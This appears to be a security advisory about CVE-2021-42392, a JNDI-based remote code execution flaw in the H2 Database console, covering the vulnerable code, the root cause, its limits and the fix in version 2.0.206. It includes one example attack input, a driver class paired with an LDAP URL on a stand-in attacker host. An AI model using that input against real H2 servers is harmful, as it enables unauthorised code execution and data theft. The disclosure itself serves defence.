JFrog has recently disclosed a remote code execution vulnerability on H2 Database consoles. This is based on a Java Naming and Directory Interface(JNDI) vulnerability, and its root cause is similar to the recent Log4Shell vulnerability in Apache Log4j. H2 is an open-source RDBMS written in Java that offers a lightweight in-memory solution, making it a popular data storage solution for Web and IoT platforms. The com.h2database:h2 package is among the top 50 most popular Maven packages, with almost 7000 artifact dependencies.
The detected vulnerability is being tracked by CVE-2021-42392 is based on an Unauthenticated Remote Code Execution(RCE) vulnerability. This is caused by org.h2.util.JdbcUtils.getConnection method present in H2 Database which takes the class name of the driver and URL of the Database, these parameters are not filtered. Moreover, the lookup of URLs is done before the username and password can be validated. The RCE vulnerability is triggered when a malicious user passes a JNDI driver name and a URL link to a remote LDAP/RMI server. Such methods are used extensively in the H2 Database, opening up many attack vectors. Most notable among them is using the H2 Console leading to the Unauthenticated RCE.
Root Cause Analysis
The root cause is similar to Log4Shell. Passing unfiltered URLs to the javax.naming.Context.lookup function which contains remote codebase loading. Specifically, the org.h2.util.JdbcUtils.getConnection method takes a driver class name and database URL as parameters. Suppose the driver’s class is assignable to the javax.naming.Context class, the method instantiates an object from it and calls its lookup method:
else if (javax.naming.Context.class.isAssignableFrom(d)) { // JNDI context Context context = (Context) d.getDeclaredConstructor().newInstance(); DataSource ds = (DataSource) context.lookup(url); if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) { return ds.getConnection(); } return ds.getConnection(user, password); }
They were supplying a driver class such as javax.naming.InitialContext and a URL such as ldap://attacker.com/Exploit, which leads to a remote code execution.
JNDI Exploit Flowchart

As stated above, the respective method doesn’t handle the class name and URL parameters safely. So when a malicious attacker-controlled URL is sent, the lookup for it happens before the credentials can be validated. Thus, an LDAP Query is sent to the malicious link and the response received is a javaClassName where the malicious class containing the code to be executed is present. H2 Database will now try to fetch this by sending out an HTTP GET request. Once the class is transferred, the code is executed on the server.
CVE-2021-42392 has three limitations that should make this issue less widespread when compared to Log4Shell:
- The scope of the attack is “direct,” and servers that process the initial request, the H2 Console, will be impacted. This makes it easy to find the vulnerable server as other servers will not be impacted.
- H2 databases are not vulnerable by default as it only listens to localhost connections. However, it can be easily changed to listen for remote connections.
- Most vendors run the H2 Database but may not run the H2 Console. Vectors exploiting without the Console are context-dependent and less likely to be exposed to remote attackers.
Affect Products
- H2 Database
- H2 Console
- H2 Shell
Impact
A malicious user could exploit these Remote Code Execution vulnerability to gain unauthorised access to the server, steal user data, and cause undesirable side effects on the vulnerable machine.
Solution
H2 Database has released the security fix for this vulnerability in version 2.0.206. It is recommended that all users, being those who use H2 Console directly or not, should upgrade their instances to the patched version ASAP. The fix is to have JNDI URLs only use (local) java protocol.